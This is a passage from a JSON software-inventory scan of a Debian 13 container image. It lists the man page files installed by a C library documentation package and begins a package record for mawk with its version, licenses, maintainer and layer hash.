"/usr/share/man/man2/vfork.2.gz", "/usr/share/man/man2/vhangup.2.gz", "/usr/share/man/man2/vm86.2.gz", "/usr/share/man/man2/vmsplice.2.gz", "/usr/share/man/man2/wait.2.gz", "/usr/share/man/man2/wait4.2.gz", "/usr/share/man/man2/write.2.gz", "/usr/share/man/man3/CPU_SET.3.gz", "/usr/share/man/man3/EOF.3const.gz", "/usr/share/man/man3/EXIT_SUCCESS.3const.gz", "/usr/share/man/man3/FILE.3type.gz", "/usr/share/man/man3/INFINITY.3.gz", "/usr/share/man/man3/MAX.3.gz", "/usr/share/man/man3/MB_CUR_MAX.3.gz", "/usr/share/man/man3/MB_LEN_MAX.3.gz", "/usr/share/man/man3/NULL.3const.gz", "/usr/share/man/man3/TIMEVAL_TO_TIMESPEC.3.gz", "/usr/share/man/man3/_Generic.3.gz", "/usr/share/man/man3/__ppc_get_timebase.3.gz", "/usr/share/man/man3/__ppc_set_ppr_med.3.gz", "/usr/share/man/man3/__ppc_yield.3.gz", "/usr/share/man/man3/__setfpucw.3.gz", "/usr/share/man/man3/a64l.3.gz", "/usr/share/man/man3/abort.3.gz", "/usr/share/man/man3/abs.3.gz", "/usr/share/man/man3/acos.3.gz", "/usr/share/man/man3/acosh.3.gz", "/usr/share/man/man3/addseverity.3.gz", "/usr/share/man/man3/adjtime.3.gz", "/usr/share/man/man3/aio_cancel.3.gz", "/usr/share/man/man3/aio_error.3.gz", "/usr/share/man/man3/aio_fsync.3.gz", "/usr/share/man/man3/aio_init.3.gz", "/usr/share/man/man3/aio_read.3.gz", "/usr/share/man/man3/aio_return.3.gz", "/usr/share/man/man3/aio_suspend.3.gz", "/usr/share/man/man3/aio_write.3.gz", "/usr/share/man/man3/aiocb.3type.gz", "/usr/share/man/man3/alloca.3.gz", "/usr/share/man/man3/arc4random.3.gz", "/usr/share/man/man3/argz_add.3.gz", "/usr/share/man/man3/asin.3.gz", "/usr/share/man/man3/asinh.3.gz", "/usr/share/man/man3/asprintf.3.gz", "/usr/share/man/man3/assert.3.gz", "/usr/share/man/man3/assert_perror.3.gz", "/usr/share/man/man3/atan.3.gz", "/usr/share/man/man3/atan2.3.gz", "/usr/share/man/man3/atanh.3.gz", "/usr/share/man/man3/atexit.3.gz", "/usr/share/man/man3/atof.3.gz", "/usr/share/man/man3/atoi.3.gz", "/usr/share/man/man3/backtrace.3.gz", "/usr/share/man/man3/basename.3.gz", "/usr/share/man/man3/bcmp.3.gz", "/usr/share/man/man3/bcopy.3.gz", "/usr/share/man/man3/bindresvport.3.gz", "/usr/share/man/man3/blkcnt_t.3type.gz", "/usr/share/man/man3/blksize_t.3type.gz", "/usr/share/man/man3/bsd_signal.3.gz", "/usr/share/man/man3/bsearch.3.gz", "/usr/share/man/man3/bstring.3.gz", "/usr/share/man/man3/bswap.3.gz", "/usr/share/man/man3/btowc.3.gz", "/usr/share/man/man3/btree.3.gz", "/usr/share/man/man3/byteorder.3.gz", "/usr/share/man/man3/bzero.3.gz", "/usr/share/man/man3/cabs.3.gz", "/usr/share/man/man3/cacos.3.gz", "/usr/share/man/man3/cacosh.3.gz", "/usr/share/man/man3/canonicalize_file_name.3.gz", "/usr/share/man/man3/carg.3.gz", "/usr/share/man/man3/casin.3.gz", "/usr/share/man/man3/casinh.3.gz", "/usr/share/man/man3/catan.3.gz", "/usr/share/man/man3/catanh.3.gz", "/usr/share/man/man3/catgets.3.gz", "/usr/share/man/man3/catopen.3.gz", "/usr/share/man/man3/cbrt.3.gz", "/usr/share/man/man3/cc_t.3type.gz", "/usr/share/man/man3/ccos.3.gz", "/usr/share/man/man3/ccosh.3.gz", "/usr/share/man/man3/ceil.3.gz", "/usr/share/man/man3/cexp.3.gz", "/usr/share/man/man3/cexp2.3.gz", "/usr/share/man/man3/cfree.3.gz", "/usr/share/man/man3/cimag.3.gz", "/usr/share/man/man3/circleq.3.gz", "/usr/share/man/man3/clearenv.3.gz", "/usr/share/man/man3/clock.3.gz", "/usr/share/man/man3/clock_getcpuclockid.3.gz", "/usr/share/man/man3/clock_t.3type.gz", "/usr/share/man/man3/clockid_t.3type.gz", "/usr/share/man/man3/clog.3.gz", "/usr/share/man/man3/clog10.3.gz", "/usr/share/man/man3/clog2.3.gz", "/usr/share/man/man3/closedir.3.gz", "/usr/share/man/man3/cmsg.3.gz", "/usr/share/man/man3/confstr.3.gz", "/usr/share/man/man3/conj.3.gz", "/usr/share/man/man3/copysign.3.gz", "/usr/share/man/man3/cos.3.gz", "/usr/share/man/man3/cosh.3.gz", "/usr/share/man/man3/cpow.3.gz", "/usr/share/man/man3/cproj.3.gz", "/usr/share/man/man3/creal.3.gz", "/usr/share/man/man3/csin.3.gz", "/usr/share/man/man3/csinh.3.gz", "/usr/share/man/man3/csqrt.3.gz", "/usr/share/man/man3/ctan.3.gz", "/usr/share/man/man3/ctanh.3.gz", "/usr/share/man/man3/ctermid.3.gz", "/usr/share/man/man3/ctime.3.gz", "/usr/share/man/man3/daemon.3.gz", "/usr/share/man/man3/dbopen.3.gz", "/usr/share/man/man3/des_crypt.3.gz", "/usr/share/man/man3/dev_t.3type.gz", "/usr/share/man/man3/difftime.3.gz", "/usr/share/man/man3/dirfd.3.gz", "/usr/share/man/man3/div.3.gz", "/usr/share/man/man3/div_t.3type.gz", "/usr/share/man/man3/dl_iterate_phdr.3.gz", "/usr/share/man/man3/dladdr.3.gz", "/usr/share/man/man3/dlerror.3.gz", "/usr/share/man/man3/dlinfo.3.gz", "/usr/share/man/man3/dlopen.3.gz", "/usr/share/man/man3/dlsym.3.gz", "/usr/share/man/man3/double_t.3type.gz", "/usr/share/man/man3/drand48.3.gz", "/usr/share/man/man3/drand48_r.3.gz", "/usr/share/man/man3/duplocale.3.gz", "/usr/share/man/man3/dysize.3.gz", "/usr/share/man/man3/ecvt.3.gz", "/usr/share/man/man3/ecvt_r.3.gz", "/usr/share/man/man3/encrypt.3.gz", "/usr/share/man/man3/end.3.gz", "/usr/share/man/man3/endian.3.gz", "/usr/share/man/man3/envz_add.3.gz", "/usr/share/man/man3/epoll_event.3type.gz", "/usr/share/man/man3/erf.3.gz", "/usr/share/man/man3/erfc.3.gz", "/usr/share/man/man3/err.3.gz", "/usr/share/man/man3/errno.3.gz", "/usr/share/man/man3/error.3.gz", "/usr/share/man/man3/ether_aton.3.gz", "/usr/share/man/man3/euidaccess.3.gz", "/usr/share/man/man3/exec.3.gz", "/usr/share/man/man3/exit.3.gz", "/usr/share/man/man3/exp.3.gz", "/usr/share/man/man3/exp10.3.gz", "/usr/share/man/man3/exp2.3.gz", "/usr/share/man/man3/expm1.3.gz", "/usr/share/man/man3/fabs.3.gz", "/usr/share/man/man3/fclose.3.gz", "/usr/share/man/man3/fcloseall.3.gz", "/usr/share/man/man3/fdim.3.gz", "/usr/share/man/man3/fenv.3.gz", "/usr/share/man/man3/fenv_t.3type.gz", "/usr/share/man/man3/ferror.3.gz", "/usr/share/man/man3/fexecve.3.gz", "/usr/share/man/man3/fflush.3.gz", "/usr/share/man/man3/ffs.3.gz", "/usr/share/man/man3/fgetc.3.gz", "/usr/share/man/man3/fgetgrent.3.gz", "/usr/share/man/man3/fgetpwent.3.gz", "/usr/share/man/man3/fgetwc.3.gz", "/usr/share/man/man3/fgetws.3.gz", "/usr/share/man/man3/fileno.3.gz", "/usr/share/man/man3/finite.3.gz", "/usr/share/man/man3/flockfile.3.gz", "/usr/share/man/man3/floor.3.gz", "/usr/share/man/man3/fma.3.gz", "/usr/share/man/man3/fmax.3.gz", "/usr/share/man/man3/fmemopen.3.gz", "/usr/share/man/man3/fmin.3.gz", "/usr/share/man/man3/fmod.3.gz", "/usr/share/man/man3/fmtmsg.3.gz", "/usr/share/man/man3/fnmatch.3.gz", "/usr/share/man/man3/fopen.3.gz", "/usr/share/man/man3/fopencookie.3.gz", "/usr/share/man/man3/fpathconf.3.gz", "/usr/share/man/man3/fpclassify.3.gz", "/usr/share/man/man3/fpurge.3.gz", "/usr/share/man/man3/fputwc.3.gz", "/usr/share/man/man3/fputws.3.gz", "/usr/share/man/man3/fread.3.gz", "/usr/share/man/man3/frexp.3.gz", "/usr/share/man/man3/fseek.3.gz", "/usr/share/man/man3/fseeko.3.gz", "/usr/share/man/man3/ftime.3.gz", "/usr/share/man/man3/ftok.3.gz", "/usr/share/man/man3/fts.3.gz", "/usr/share/man/man3/ftw.3.gz", "/usr/share/man/man3/futimes.3.gz", "/usr/share/man/man3/fwide.3.gz", "/usr/share/man/man3/gamma.3.gz", "/usr/share/man/man3/gcvt.3.gz", "/usr/share/man/man3/get_nprocs.3.gz", "/usr/share/man/man3/get_phys_pages.3.gz", "/usr/share/man/man3/getaddrinfo.3.gz", "/usr/share/man/man3/getaddrinfo_a.3.gz", "/usr/share/man/man3/getauxval.3.gz", "/usr/share/man/man3/getcontext.3.gz", "/usr/share/man/man3/getcwd.3.gz", "/usr/share/man/man3/getdate.3.gz", "/usr/share/man/man3/getdirentries.3.gz", "/usr/share/man/man3/getdtablesize.3.gz", "/usr/share/man/man3/getentropy.3.gz", "/usr/share/man/man3/getenv.3.gz", "/usr/share/man/man3/getfsent.3.gz", "/usr/share/man/man3/getgrent.3.gz", "/usr/share/man/man3/getgrent_r.3.gz", "/usr/share/man/man3/getgrnam.3.gz", "/usr/share/man/man3/getgrouplist.3.gz", "/usr/share/man/man3/gethostbyname.3.gz", "/usr/share/man/man3/gethostid.3.gz", "/usr/share/man/man3/getifaddrs.3.gz", "/usr/share/man/man3/getipnodebyname.3.gz", "/usr/share/man/man3/getline.3.gz", "/usr/share/man/man3/getloadavg.3.gz", "/usr/share/man/man3/getlogin.3.gz", "/usr/share/man/man3/getmntent.3.gz", "/usr/share/man/man3/getnameinfo.3.gz", "/usr/share/man/man3/getnetent.3.gz", "/usr/share/man/man3/getnetent_r.3.gz", "/usr/share/man/man3/getopt.3.gz", "/usr/share/man/man3/getpass.3.gz", "/usr/share/man/man3/getprotoent.3.gz", "/usr/share/man/man3/getprotoent_r.3.gz", "/usr/share/man/man3/getpt.3.gz", "/usr/share/man/man3/getpw.3.gz", "/usr/share/man/man3/getpwent.3.gz", "/usr/share/man/man3/getpwent_r.3.gz", "/usr/share/man/man3/getpwnam.3.gz", "/usr/share/man/man3/getrpcent.3.gz", "/usr/share/man/man3/getrpcent_r.3.gz", "/usr/share/man/man3/getrpcport.3.gz", "/usr/share/man/man3/gets.3.gz", "/usr/share/man/man3/getservent.3.gz", "/usr/share/man/man3/getservent_r.3.gz", "/usr/share/man/man3/getspnam.3.gz", "/usr/share/man/man3/getsubopt.3.gz", "/usr/share/man/man3/getttyent.3.gz", "/usr/share/man/man3/getusershell.3.gz", "/usr/share/man/man3/getutent.3.gz", "/usr/share/man/man3/getutmp.3.gz", "/usr/share/man/man3/getw.3.gz", "/usr/share/man/man3/getwchar.3.gz", "/usr/share/man/man3/glob.3.gz", "/usr/share/man/man3/gnu_get_libc_version.3.gz", "/usr/share/man/man3/grantpt.3.gz", "/usr/share/man/man3/group_member.3.gz", "/usr/share/man/man3/gsignal.3.gz", "/usr/share/man/man3/hash.3.gz", "/usr/share/man/man3/hsearch.3.gz", "/usr/share/man/man3/hypot.3.gz", "/usr/share/man/man3/iconv.3.gz", "/usr/share/man/man3/iconv_close.3.gz", "/usr/share/man/man3/iconv_open.3.gz", "/usr/share/man/man3/id_t.3type.gz", "/usr/share/man/man3/if_nameindex.3.gz", "/usr/share/man/man3/if_nametoindex.3.gz", "/usr/share/man/man3/ilogb.3.gz", "/usr/share/man/man3/index.3.gz", "/usr/share/man/man3/inet.3.gz", "/usr/share/man/man3/inet_net_pton.3.gz", "/usr/share/man/man3/inet_ntop.3.gz", "/usr/share/man/man3/inet_pton.3.gz", "/usr/share/man/man3/initgroups.3.gz", "/usr/share/man/man3/insque.3.gz", "/usr/share/man/man3/intN_t.3type.gz", "/usr/share/man/man3/intmax_t.3type.gz", "/usr/share/man/man3/intptr_t.3type.gz", "/usr/share/man/man3/iovec.3type.gz", "/usr/share/man/man3/isalpha.3.gz", "/usr/share/man/man3/isatty.3.gz", "/usr/share/man/man3/isfdtype.3.gz", "/usr/share/man/man3/isgreater.3.gz", "/usr/share/man/man3/iswalnum.3.gz", "/usr/share/man/man3/iswalpha.3.gz", "/usr/share/man/man3/iswblank.3.gz", "/usr/share/man/man3/iswcntrl.3.gz", "/usr/share/man/man3/iswctype.3.gz", "/usr/share/man/man3/iswdigit.3.gz", "/usr/share/man/man3/iswgraph.3.gz", "/usr/share/man/man3/iswlower.3.gz", "/usr/share/man/man3/iswprint.3.gz", "/usr/share/man/man3/iswpunct.3.gz", "/usr/share/man/man3/iswspace.3.gz", "/usr/share/man/man3/iswupper.3.gz", "/usr/share/man/man3/iswxdigit.3.gz", "/usr/share/man/man3/itimerspec.3type.gz", "/usr/share/man/man3/j0.3.gz", "/usr/share/man/man3/key_setsecret.3.gz", "/usr/share/man/man3/killpg.3.gz", "/usr/share/man/man3/lconv.3type.gz", "/usr/share/man/man3/ldexp.3.gz", "/usr/share/man/man3/lgamma.3.gz", "/usr/share/man/man3/lio_listio.3.gz", "/usr/share/man/man3/list.3.gz", "/usr/share/man/man3/locale_t.3type.gz", "/usr/share/man/man3/localeconv.3.gz", "/usr/share/man/man3/lockf.3.gz", "/usr/share/man/man3/log.3.gz", "/usr/share/man/man3/log10.3.gz", "/usr/share/man/man3/log1p.3.gz", "/usr/share/man/man3/log2.3.gz", "/usr/share/man/man3/logb.3.gz", "/usr/share/man/man3/login.3.gz", "/usr/share/man/man3/lrint.3.gz", "/usr/share/man/man3/lround.3.gz", "/usr/share/man/man3/lsearch.3.gz", "/usr/share/man/man3/lseek64.3.gz", "/usr/share/man/man3/makecontext.3.gz", "/usr/share/man/man3/makedev.3.gz", "/usr/share/man/man3/mallinfo.3.gz", "/usr/share/man/man3/malloc.3.gz", "/usr/share/man/man3/malloc_get_state.3.gz", "/usr/share/man/man3/malloc_hook.3.gz", "/usr/share/man/man3/malloc_info.3.gz", "/usr/share/man/man3/malloc_stats.3.gz", "/usr/share/man/man3/malloc_trim.3.gz", "/usr/share/man/man3/malloc_usable_size.3.gz", "/usr/share/man/man3/mallopt.3.gz", "/usr/share/man/man3/matherr.3.gz", "/usr/share/man/man3/mblen.3.gz", "/usr/share/man/man3/mbrlen.3.gz", "/usr/share/man/man3/mbrtowc.3.gz", "/usr/share/man/man3/mbsinit.3.gz", "/usr/share/man/man3/mbsnrtowcs.3.gz", "/usr/share/man/man3/mbsrtowcs.3.gz", "/usr/share/man/man3/mbstate_t.3type.gz", "/usr/share/man/man3/mbstowcs.3.gz", "/usr/share/man/man3/mbtowc.3.gz", "/usr/share/man/man3/mcheck.3.gz", "/usr/share/man/man3/memccpy.3.gz", "/usr/share/man/man3/memchr.3.gz", "/usr/share/man/man3/memcmp.3.gz", "/usr/share/man/man3/memcpy.3.gz", "/usr/share/man/man3/memfrob.3.gz", "/usr/share/man/man3/memmem.3.gz", "/usr/share/man/man3/memmove.3.gz", "/usr/share/man/man3/mempcpy.3.gz", "/usr/share/man/man3/memset.3.gz", "/usr/share/man/man3/mkdtemp.3.gz", "/usr/share/man/man3/mkfifo.3.gz", "/usr/share/man/man3/mkstemp.3.gz", "/usr/share/man/man3/mktemp.3.gz", "/usr/share/man/man3/mode_t.3type.gz", "/usr/share/man/man3/modf.3.gz", "/usr/share/man/man3/mpool.3.gz", "/usr/share/man/man3/mq_close.3.gz", "/usr/share/man/man3/mq_getattr.3.gz", "/usr/share/man/man3/mq_notify.3.gz", "/usr/share/man/man3/mq_open.3.gz", "/usr/share/man/man3/mq_receive.3.gz", "/usr/share/man/man3/mq_send.3.gz", "/usr/share/man/man3/mq_unlink.3.gz", "/usr/share/man/man3/mtrace.3.gz", "/usr/share/man/man3/nan.3.gz", "/usr/share/man/man3/netlink.3.gz", "/usr/share/man/man3/newlocale.3.gz", "/usr/share/man/man3/nextafter.3.gz", "/usr/share/man/man3/nextup.3.gz", "/usr/share/man/man3/nl_langinfo.3.gz", "/usr/share/man/man3/ntp_gettime.3.gz", "/usr/share/man/man3/off_t.3type.gz", "/usr/share/man/man3/offsetof.3.gz", "/usr/share/man/man3/on_exit.3.gz", "/usr/share/man/man3/open_memstream.3.gz", "/usr/share/man/man3/opendir.3.gz", "/usr/share/man/man3/openpty.3.gz", "/usr/share/man/man3/perror.3.gz", "/usr/share/man/man3/popen.3.gz", "/usr/share/man/man3/posix_fallocate.3.gz", "/usr/share/man/man3/posix_madvise.3.gz", "/usr/share/man/man3/posix_memalign.3.gz", "/usr/share/man/man3/posix_openpt.3.gz", "/usr/share/man/man3/posix_spawn.3.gz", "/usr/share/man/man3/pow.3.gz", "/usr/share/man/man3/pow10.3.gz", "/usr/share/man/man3/powerof2.3.gz", "/usr/share/man/man3/printf.3.gz", "/usr/share/man/man3/printf.h.3head.gz", "/usr/share/man/man3/profil.3.gz", "/usr/share/man/man3/program_invocation_name.3.gz", "/usr/share/man/man3/psignal.3.gz", "/usr/share/man/man3/pthread_atfork.3.gz", "/usr/share/man/man3/pthread_attr_init.3.gz", "/usr/share/man/man3/pthread_attr_setaffinity_np.3.gz", "/usr/share/man/man3/pthread_attr_setdetachstate.3.gz", "/usr/share/man/man3/pthread_attr_setguardsize.3.gz", "/usr/share/man/man3/pthread_attr_setinheritsched.3.gz", "/usr/share/man/man3/pthread_attr_setschedparam.3.gz", "/usr/share/man/man3/pthread_attr_setschedpolicy.3.gz", "/usr/share/man/man3/pthread_attr_setscope.3.gz", "/usr/share/man/man3/pthread_attr_setsigmask_np.3.gz", "/usr/share/man/man3/pthread_attr_setstack.3.gz", "/usr/share/man/man3/pthread_attr_setstackaddr.3.gz", "/usr/share/man/man3/pthread_attr_setstacksize.3.gz", "/usr/share/man/man3/pthread_cancel.3.gz", "/usr/share/man/man3/pthread_cleanup_push.3.gz", "/usr/share/man/man3/pthread_cleanup_push_defer_np.3.gz", "/usr/share/man/man3/pthread_cond_init.3.gz", "/usr/share/man/man3/pthread_condattr_init.3.gz", "/usr/share/man/man3/pthread_create.3.gz", "/usr/share/man/man3/pthread_detach.3.gz", "/usr/share/man/man3/pthread_equal.3.gz", "/usr/share/man/man3/pthread_exit.3.gz", "/usr/share/man/man3/pthread_getattr_default_np.3.gz", "/usr/share/man/man3/pthread_getattr_np.3.gz", "/usr/share/man/man3/pthread_getcpuclockid.3.gz", "/usr/share/man/man3/pthread_join.3.gz", "/usr/share/man/man3/pthread_key_create.3.gz", "/usr/share/man/man3/pthread_kill.3.gz", "/usr/share/man/man3/pthread_kill_other_threads_np.3.gz", "/usr/share/man/man3/pthread_mutex_consistent.3.gz", "/usr/share/man/man3/pthread_mutex_init.3.gz", "/usr/share/man/man3/pthread_mutexattr_getpshared.3.gz", "/usr/share/man/man3/pthread_mutexattr_init.3.gz", "/usr/share/man/man3/pthread_mutexattr_setkind_np.3.gz", "/usr/share/man/man3/pthread_mutexattr_setrobust.3.gz", "/usr/share/man/man3/pthread_once.3.gz", "/usr/share/man/man3/pthread_rwlockattr_setkind_np.3.gz", "/usr/share/man/man3/pthread_self.3.gz", "/usr/share/man/man3/pthread_setaffinity_np.3.gz", "/usr/share/man/man3/pthread_setcancelstate.3.gz", "/usr/share/man/man3/pthread_setconcurrency.3.gz", "/usr/share/man/man3/pthread_setname_np.3.gz", "/usr/share/man/man3/pthread_setschedparam.3.gz", "/usr/share/man/man3/pthread_setschedprio.3.gz", "/usr/share/man/man3/pthread_sigmask.3.gz", "/usr/share/man/man3/pthread_sigqueue.3.gz", "/usr/share/man/man3/pthread_spin_init.3.gz", "/usr/share/man/man3/pthread_spin_lock.3.gz", "/usr/share/man/man3/pthread_testcancel.3.gz", "/usr/share/man/man3/pthread_tryjoin_np.3.gz", "/usr/share/man/man3/pthread_yield.3.gz", "/usr/share/man/man3/ptrdiff_t.3type.gz", "/usr/share/man/man3/ptsname.3.gz", "/usr/share/man/man3/putenv.3.gz", "/usr/share/man/man3/putgrent.3.gz", "/usr/share/man/man3/putpwent.3.gz", "/usr/share/man/man3/puts.3.gz", "/usr/share/man/man3/putwchar.3.gz", "/usr/share/man/man3/qecvt.3.gz", "/usr/share/man/man3/qsort.3.gz", "/usr/share/man/man3/raise.3.gz", "/usr/share/man/man3/rand.3.gz", "/usr/share/man/man3/random.3.gz", "/usr/share/man/man3/random_r.3.gz", "/usr/share/man/man3/rcmd.3.gz", "/usr/share/man/man3/re_comp.3.gz", "/usr/share/man/man3/readdir.3.gz", "/usr/share/man/man3/readdir_r.3.gz", "/usr/share/man/man3/realpath.3.gz", "/usr/share/man/man3/recno.3.gz", "/usr/share/man/man3/regex.3.gz", "/usr/share/man/man3/remainder.3.gz", "/usr/share/man/man3/remove.3.gz", "/usr/share/man/man3/remquo.3.gz", "/usr/share/man/man3/resolver.3.gz", "/usr/share/man/man3/rewinddir.3.gz", "/usr/share/man/man3/rexec.3.gz", "/usr/share/man/man3/rint.3.gz", "/usr/share/man/man3/round.3.gz", "/usr/share/man/man3/roundup.3.gz", "/usr/share/man/man3/rpc.3.gz", "/usr/share/man/man3/rpmatch.3.gz", "/usr/share/man/man3/rtime.3.gz", "/usr/share/man/man3/rtnetlink.3.gz", "/usr/share/man/man3/scalb.3.gz", "/usr/share/man/man3/scalbln.3.gz", "/usr/share/man/man3/scandir.3.gz", "/usr/share/man/man3/scanf.3.gz", "/usr/share/man/man3/sched_getcpu.3.gz", "/usr/share/man/man3/seekdir.3.gz", "/usr/share/man/man3/sem_close.3.gz", "/usr/share/man/man3/sem_destroy.3.gz", "/usr/share/man/man3/sem_getvalue.3.gz", "/usr/share/man/man3/sem_init.3.gz", "/usr/share/man/man3/sem_open.3.gz", "/usr/share/man/man3/sem_post.3.gz", "/usr/share/man/man3/sem_unlink.3.gz", "/usr/share/man/man3/sem_wait.3.gz", "/usr/share/man/man3/setaliasent.3.gz", "/usr/share/man/man3/setbuf.3.gz", "/usr/share/man/man3/setenv.3.gz", "/usr/share/man/man3/setjmp.3.gz", "/usr/share/man/man3/setlocale.3.gz", "/usr/share/man/man3/setlogmask.3.gz", "/usr/share/man/man3/setnetgrent.3.gz", "/usr/share/man/man3/shm_open.3.gz", "/usr/share/man/man3/sigevent.3type.gz", "/usr/share/man/man3/siginterrupt.3.gz", "/usr/share/man/man3/signbit.3.gz", "/usr/share/man/man3/significand.3.gz", "/usr/share/man/man3/sigpause.3.gz", "/usr/share/man/man3/sigqueue.3.gz", "/usr/share/man/man3/sigset.3.gz", "/usr/share/man/man3/sigsetops.3.gz", "/usr/share/man/man3/sigvec.3.gz", "/usr/share/man/man3/sigwait.3.gz", "/usr/share/man/man3/sin.3.gz", "/usr/share/man/man3/sincos.3.gz", "/usr/share/man/man3/sinh.3.gz", "/usr/share/man/man3/size_t.3type.gz", "/usr/share/man/man3/sleep.3.gz", "/usr/share/man/man3/slist.3.gz", "/usr/share/man/man3/sockaddr.3type.gz", "/usr/share/man/man3/sockatmark.3.gz", "/usr/share/man/man3/sqrt.3.gz", "/usr/share/man/man3/sscanf.3.gz", "/usr/share/man/man3/stailq.3.gz", "/usr/share/man/man3/stat.3type.gz", "/usr/share/man/man3/static_assert.3.gz", "/usr/share/man/man3/statvfs.3.gz", "/usr/share/man/man3/stdarg.3.gz", "/usr/share/man/man3/stdin.3.gz", "/usr/share/man/man3/stdio.3.gz", "/usr/share/man/man3/stdio_ext.3.gz", "/usr/share/man/man3/stpncpy.3.gz", "/usr/share/man/man3/strcasecmp.3.gz", "/usr/share/man/man3/strchr.3.gz", "/usr/share/man/man3/strcmp.3.gz", "/usr/share/man/man3/strcoll.3.gz", "/usr/share/man/man3/strcpy.3.gz", "/usr/share/man/man3/strdup.3.gz", "/usr/share/man/man3/strerror.3.gz", "/usr/share/man/man3/strfmon.3.gz", "/usr/share/man/man3/strfromd.3.gz", "/usr/share/man/man3/strfry.3.gz", "/usr/share/man/man3/strftime.3.gz", "/usr/share/man/man3/string.3.gz", "/usr/share/man/man3/strlen.3.gz", "/usr/share/man/man3/strncat.3.gz", "/usr/share/man/man3/strnlen.3.gz", "/usr/share/man/man3/strpbrk.3.gz", "/usr/share/man/man3/strptime.3.gz", "/usr/share/man/man3/strsep.3.gz", "/usr/share/man/man3/strsignal.3.gz", "/usr/share/man/man3/strspn.3.gz", "/usr/share/man/man3/strstr.3.gz", "/usr/share/man/man3/strtod.3.gz", "/usr/share/man/man3/strtoimax.3.gz", "/usr/share/man/man3/strtok.3.gz", "/usr/share/man/man3/strtol.3.gz", "/usr/share/man/man3/strtoul.3.gz", "/usr/share/man/man3/strverscmp.3.gz", "/usr/share/man/man3/strxfrm.3.gz", "/usr/share/man/man3/swab.3.gz", "/usr/share/man/man3/sysconf.3.gz", "/usr/share/man/man3/sysexits.h.3head.gz", "/usr/share/man/man3/syslog.3.gz", "/usr/share/man/man3/system.3.gz", "/usr/share/man/man3/sysv_signal.3.gz", "/usr/share/man/man3/tailq.3.gz", "/usr/share/man/man3/tan.3.gz", "/usr/share/man/man3/tanh.3.gz", "/usr/share/man/man3/tcgetpgrp.3.gz", "/usr/share/man/man3/tcgetsid.3.gz", "/usr/share/man/man3/telldir.3.gz", "/usr/share/man/man3/tempnam.3.gz", "/usr/share/man/man3/termios.3.gz", "/usr/share/man/man3/tgamma.3.gz", "/usr/share/man/man3/time_t.3type.gz", "/usr/share/man/man3/timegm.3.gz", "/usr/share/man/man3/timer_t.3type.gz", "/usr/share/man/man3/timeradd.3.gz", "/usr/share/man/man3/timespec.3type.gz", "/usr/share/man/man3/timeval.3type.gz", "/usr/share/man/man3/tm.3type.gz", "/usr/share/man/man3/tmpfile.3.gz", "/usr/share/man/man3/tmpnam.3.gz", "/usr/share/man/man3/toascii.3.gz", "/usr/share/man/man3/toupper.3.gz", "/usr/share/man/man3/towctrans.3.gz", "/usr/share/man/man3/towlower.3.gz", "/usr/share/man/man3/towupper.3.gz", "/usr/share/man/man3/trunc.3.gz", "/usr/share/man/man3/tsearch.3.gz", "/usr/share/man/man3/ttyname.3.gz", "/usr/share/man/man3/ttyslot.3.gz", "/usr/share/man/man3/tzset.3.gz", "/usr/share/man/man3/ualarm.3.gz", "/usr/share/man/man3/ulimit.3.gz", "/usr/share/man/man3/undocumented.3.gz", "/usr/share/man/man3/ungetwc.3.gz", "/usr/share/man/man3/unlocked_stdio.3.gz", "/usr/share/man/man3/unlockpt.3.gz", "/usr/share/man/man3/updwtmp.3.gz", "/usr/share/man/man3/uselocale.3.gz", "/usr/share/man/man3/usleep.3.gz", "/usr/share/man/man3/va_list.3type.gz", "/usr/share/man/man3/void.3type.gz", "/usr/share/man/man3/wchar_t.3type.gz", "/usr/share/man/man3/wcpcpy.3.gz", "/usr/share/man/man3/wcpncpy.3.gz", "/usr/share/man/man3/wcrtomb.3.gz", "/usr/share/man/man3/wcscasecmp.3.gz", "/usr/share/man/man3/wcscat.3.gz", "/usr/share/man/man3/wcschr.3.gz", "/usr/share/man/man3/wcscmp.3.gz", "/usr/share/man/man3/wcscpy.3.gz", "/usr/share/man/man3/wcscspn.3.gz", "/usr/share/man/man3/wcsdup.3.gz", "/usr/share/man/man3/wcslen.3.gz", "/usr/share/man/man3/wcsncasecmp.3.gz", "/usr/share/man/man3/wcsncat.3.gz", "/usr/share/man/man3/wcsncmp.3.gz", "/usr/share/man/man3/wcsncpy.3.gz", "/usr/share/man/man3/wcsnlen.3.gz", "/usr/share/man/man3/wcsnrtombs.3.gz", "/usr/share/man/man3/wcspbrk.3.gz", "/usr/share/man/man3/wcsrchr.3.gz", "/usr/share/man/man3/wcsrtombs.3.gz", "/usr/share/man/man3/wcsspn.3.gz", "/usr/share/man/man3/wcsstr.3.gz", "/usr/share/man/man3/wcstoimax.3.gz", "/usr/share/man/man3/wcstok.3.gz", "/usr/share/man/man3/wcstombs.3.gz", "/usr/share/man/man3/wcswidth.3.gz", "/usr/share/man/man3/wctob.3.gz", "/usr/share/man/man3/wctomb.3.gz", "/usr/share/man/man3/wctrans.3.gz", "/usr/share/man/man3/wctype.3.gz", "/usr/share/man/man3/wcwidth.3.gz", "/usr/share/man/man3/wint_t.3type.gz", "/usr/share/man/man3/wmemchr.3.gz", "/usr/share/man/man3/wmemcmp.3.gz", "/usr/share/man/man3/wmemcpy.3.gz", "/usr/share/man/man3/wmemmove.3.gz", "/usr/share/man/man3/wmemset.3.gz", "/usr/share/man/man3/wordexp.3.gz", "/usr/share/man/man3/wprintf.3.gz", "/usr/share/man/man3/xcrypt.3.gz", "/usr/share/man/man3/xdr.3.gz", "/usr/share/man/man3/y0.3.gz", "/usr/share/man/man4/console_ioctl.4.gz", "/usr/share/man/man4/tty_ioctl.4.gz", "/usr/share/man/man7/sigevent.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "mawk@1.3.4.20250131-1", "Name": "mawk", "Identifier": { "PURL": "pkg:deb/debian/mawk@1.3.4.20250131-1?arch=amd64\u0026distro=debian-13.6", "UID": "a4460701c66e182d" }, "Version": "1.3.4.20250131", "Release": "1", "Arch": "amd64", "SrcName": "mawk", "SrcVersion": "1.3.4.20250131", "SrcRelease": "1", "Licenses": [ "GPL-2.0-only", "X11", "CC-BY-3.0" ], "Maintainer": "Boyuan Yang \u003cbyang@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/mawk", "/usr/share/doc/mawk/ACKNOWLEDGMENT", "/usr/share/doc/mawk/README", "/usr/share/doc/mawk/changelog.Debian.gz", "/usr/share/doc/mawk/changelog.gz", "/usr/share/doc/mawk/copyright", "/usr/share/doc/mawk/examples/ct_length.awk", 